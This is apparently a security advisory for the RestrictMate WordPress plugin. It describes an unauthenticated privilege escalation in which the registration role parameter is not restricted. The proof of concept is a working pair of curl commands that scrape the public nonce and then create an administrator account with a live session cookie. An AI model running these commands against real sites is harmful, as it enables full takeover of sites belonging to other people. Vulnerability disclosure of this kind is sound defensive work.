RestrictMate < 1.3.0 – Unauthenticated Privilege Escalation to Administrator | CVE 2026-13598

Description

The plugin does not restrict the user role supplied during account registration, allowing unauthenticated attackers to create a new administrator account and gain a logged-in administrator session, leading to full site takeover.

Proof of Concept

Prerequisites: a default activation of RestrictMate (<= 1.2.1). No configuration is required, the public /register page and its registration nonce are created automatically on plugin activation.

Both steps are unauthenticated (no cookie).

Step 1 - scrape the registration nonce from the public /register page:
NONCE=$(curl -s 'https://victim.example/register/' \
  | grep -oE '"register_nonce":"[a-f0-9]+"' | grep -oE '[a-f0-9]{8,}')

Step 2 - unauthenticated POST that creates an administrator and auto-logs in:
curl -s -i -c cookies.txt 'https://victim.example/wp-admin/admin-ajax.php' \
  --data-urlencode 'action=restrictmate_registration' \
  --data-urlencode 'new_user=1' \
  --data-urlencode "_ajax_nonce=$NONCE" \
  --data-urlencode 'role=administrator' \
  --data-urlencode 'username=pwnadmin' \
  --data-urlencode 'email=pwnadmin@evil.test' \
  --data-urlencode 'pass1=Hunter2Hunter2' \
  --data-urlencode 'pass2=Hunter2Hunter2'

Result: HTTP 200 with {"success":true,"data":{"message":"Registration successful",...}}, and the response sets wordpress_logged_in_* / wordpress_sec_* cookies for the new user.
- Before: administrators = [admin]. After: administrators = [admin, pwnadmin].
- The new account holds the administrator role (wp user get pwnadmin --field=roles => administrator).
- The returned cookie jar (cookies.txt) is a working administrator session: replaying it against /wp-admin/users.php renders the admin Users screen, with no separate login step.

On 1.3.0 and later the same request still creates the account and still logs it in, but the account is a subscriber and the returned session is refused /wp-admin/users.php.

Notes:
- The only gate is the registration nonce, which is published in the HTML of the public /register page and binds to the anonymous user (uid 0), so it is scrapeable by any visitor and is not an access-control boundary.
- The attacker-supplied role parameter overrides the plugin's intended "subscriber" default; supplying role=administrator yields an administrator account.